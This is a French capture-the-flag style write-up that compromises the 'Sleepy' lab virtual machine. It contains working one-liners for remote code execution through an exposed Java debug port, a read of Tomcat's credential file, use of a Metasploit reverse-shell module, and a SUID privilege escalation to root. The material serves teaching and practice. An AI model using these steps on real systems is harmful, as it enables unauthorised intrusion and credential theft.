/dev/random : Sleepy

Une machine virtuelle à compromettre.

Prise d’informations

Dans un premier temps, nous allons lister les services disponibles sur la machine :

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp   open  ssh     OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
|   2048 9e:41:1f:03:dc:06:4e:b3:e9:47:ef:ed:85:19:aa:6a (RSA)
|_  256 fe:b0:e4:59:16:d8:f8:d0:97:8d:f5:0a:cd:10:7a:89 (ECDSA)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71

On remarque les classiques 21 et 22. J’ai fait un tour sur le FTP où j’ai récupéré une image PNG sans grand intérêt.

Apache Jserv

Un peu de config…

Nous avons sur le port 8006 un serveur Apache Tomcat, j’ai tenté d’y acceder directement mais la connection n’était pas permise. Après quelques recherches, j’ai installé libapache2-mod-jk , puis je l’ai configuré pour que le host pointe vers la machine cible.

worker.ajp13_worker.port=8009
worker.ajp13_worker.host=212.129.28.18
worker.ajp13_worker.type=ajp13

Ensuite, dans la config apache, j’ai ajouté la ligne JKMount /* ajp13_worker dans /etc/apache2/sites-available/000-default.conf afin que le mod soit utilisé

En accedant à 127.0.0.1 via le navigateur, j’ai accès à la page d’accueil de tomcat. En naviguant un peu, des credentials me sont demandés … je me retrouve coincé après avoir tenté les passwords par défaut.

Java Debug Wire Protocol

Découverte du service

Passons au service suivant.

On apprends l’existence d’un programme permettant de debuger des services Java, avec en option, la possibilité de se rattacher à une service distant via l’option -attach.

ghozt@maze:~$ jdb -attach 212.129.28.18:9001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>

Ok ça a l’air de fonctionner, premier reflexe : help , of course 🙂

Après avoir testé un peut toutes les commandes et fait crasher quelques fois le programme, j’ai réussi à prendre la main sur le main thread.

> threads
Group system:
  (java.lang.ref.Reference$ReferenceHandler)0x19d Reference Handler cond. waiting
  (java.lang.ref.Finalizer$FinalizerThread)0x19e  Finalizer         cond. waiting
  (java.lang.Thread)0x19f                         Signal Dispatcher running
Group main:
  (java.lang.Thread)0x1a1                         main              sleeping

On remarque que le main thread est en état “spleeping”, ce qui signifie qu’il ne fait rien, après m’être renseigné, il est possible d’interrompre des threads et ainsi reprendre la main dessus.

> interrupt 0x1a1
>
Exception occurred: java.lang.InterruptedException (uncaught)"thread=main", java.lang.Thread.sleep(), line=-1 bci=-1
 
main[1]

Maintenant, nous pouvons executer du code Java sur la machine cible.

main[1] print "ghozt"
 "ghozt" = "ghozt"

Remote Code Execution

J’ai cherché comment executer des commandes shell depuis du code java et j’ai trouvé deux liens interessants :

J’ai tenté directement le trick du reverse shell … rien
Je me suis ensuite penché sur le snippet du premier lien :

p = Runtime.getRuntime().exec("host -t a " + domain);
    p.waitFor();
 
    BufferedReader reader =
         new BufferedReader(new InputStreamReader(p.getInputStream()));
 
    String line = "";
    while ((line = reader.readLine())!= null) {
sb.append(line + "\n");
    }

Petite transformation en oneline, ne connaissant pas très bien Java, j’ai raisonné ainsi :

// line = reader.readLine()
// reader = new BufferedReader(new InputStreamReader(p.getInputStream()))
// Ce qui donnerait : new BufferedReader(new InputStreamReader(p.getInputStream())).readLine()
// p = Runtime.getRuntime().exec("host -t a " + domain)
// on remplace p : new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("id").getInputStream())).readLine()
// String line = ""; 
// on met tout ça dans une String : new String(BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("id").getInputStream())).readLine())
// on ajoute un print devant 
main[1] print new String(BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("id").getInputStream())).readLine())
com.sun.tools.example.debug.expr.ParseException: Name unknown: BufferedReader

Hum, il semblerait que le debugger ne connaisse pas les classes directement, back to help :

classes                   -- list currently known classes

On retrouve grâce à cette commande les namespaces complets des classes :

main[1] classes
** classes list **
...
java.io.BufferedInputStream
java.io.BufferedReader
java.lang.String
java.lang.Runtime
...

Ce qui nous donne donc le oneline suivant :

print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())).readLine())
 
// main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())).readLine())
// new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())).readLine()) = "uid=1002(sleepy) gid=1002(sleepy) groups=1002(sleepy) context=system_u:system_r:initrc_t:s0"

Hop ça fonctionne nickel 🙂 Après ça j’ai retenté reverse shell avec cette syntaxe mais toujours rien…

Credentials

On se rappel que le tomcat nous demandait un user/password, on va chercher ça ! En me documentant sur tomcat, j’apprends l’existence d’un fichier tomcat-users.xml qui contient tout en clair :), on va lire ça

main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("tail -n 3 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine())
 new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("tail -n 3 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine()) = ""

🙂

Get a shell

Pour la suite, ça se passe sur metasploit :

msf > search tomcat

Matching Modules
================
...
exploit/multi/http/tomcat_mgr_upload                         2009-11-09       excellent  Apache Tomcat Manager Authenticated Upload Code Execution
...

Avec ça, on set un payload java/meterpreter/reverse_tcp, on set toutes les options, et hop on a notre shell sous l’user tomcat 🙂

Priviliege escalation

Après avoir tester les exploits classiques, et étant donné qu’il n’y a ni wget, ni netcat, ni gcc, j’ai cherché un binaire vulnérable avec la commande magique :

find / -user root -perm -4000 -print 2> /dev/null

On remarque un binaire inconnu au bataillon avec un nom plutôt intriguant : /usr/bin/nightmare

Je l’ai download via meterpreter afin de l’étudier de plus près.

Un peu de Reversing

Avec IDA on obtient le graph suivant

idamain

On remarque un appel system dans la fonction train avec un setuid

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (__noreturn *s)(); // [sp+0h] [bp-A0h]@1
  int v5; // [sp+88h] [bp-18h]@1
  char v6; // [sp+9Bh] [bp-5h]@3
  int v7; // [sp+9Ch] [bp-4h]@1
 
  memset(&s, 0, 0x98uLL);
  s = sigHandler;
  v5 = 0;
  sigaction(2, (const struct sigaction *)&s, 0LL);
  sigaction(15, (const struct sigaction *)&s, 0LL);
  v7 = open("/dev/tty", 2);
  if ( v7 != -1 )
  {
    fire();
    while ( 1 )
    {
      printf("[+] Again [y/n]? ");
      v6 = getchar();
      if ( v6 != 10 )
        clear_buf();
      if ( v6 != 121 && v6 != 89 )
      {
        if ( v6 == 110 || v6 == 78 )
          puts("Oops.. 'n' is broken");
      }
      else
      {
        fire();
      }
    }
  }
  puts("[-] error: no tty present");
  return 0;
}
 
int train()
{
  setresuid(0, 0, 0);
  setresgid(0, 0, 0);
  return system("/usr/bin/sl -al");
}

Le programme vérifie qu’il est lancé sur un TTY, ensuite, il déclenche une fois fire() puis tourne en boucle sur une demande incohérente…

Dans un premier temps on se pop un tty :

python -c 'import pty;pty.spawn("/bin/bash")'

Avec le graph IDA et le pseudo code, on remarque que le prog appel la fonction train quand il recoit un signal 2 ou 15.

Première étape : modifier /usr/bin/sl pour ça, on va utiliser une propriété d’UNIX, quand on tape une commande en console, l’ordre de recherche est le suivant :

  1. aliases
  2. exported functions
  3. built-in shell commands
  4. scripts and binaries in your PATH

J’ai tenté le coup classique de modifier le PATH mais cela n’a pas fonctionné …
Je me suis donc rabbatu sur les fonctions exportées :

bash-4.2$ function /usr/bin/sl () { /bin/bash;}
function /usr/bin/sl () { /bin/bash;}
bash-4.2$ export -f /usr/bin/sl
export -f /usr/bin/sl
bash-4.2$ /usr/bin/nightmare
/usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]?
 
// et dans une autre session
 
ps -aux | grep nightmare
root      2086  0.0  0.0   4164   352 pts/1    S+   18:18   0:00 /usr/bin/nightmare
 
kill -2 2086
 
// dans la première session on obtient
 
bash-4.2# id
id
uid=0(root) gid=0(root) groups=0(root),91(tomcat) context=system_u:system_r:tomcat_t:s0

Nous voilà avec un shell sous l’id root 🙂

One thought

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *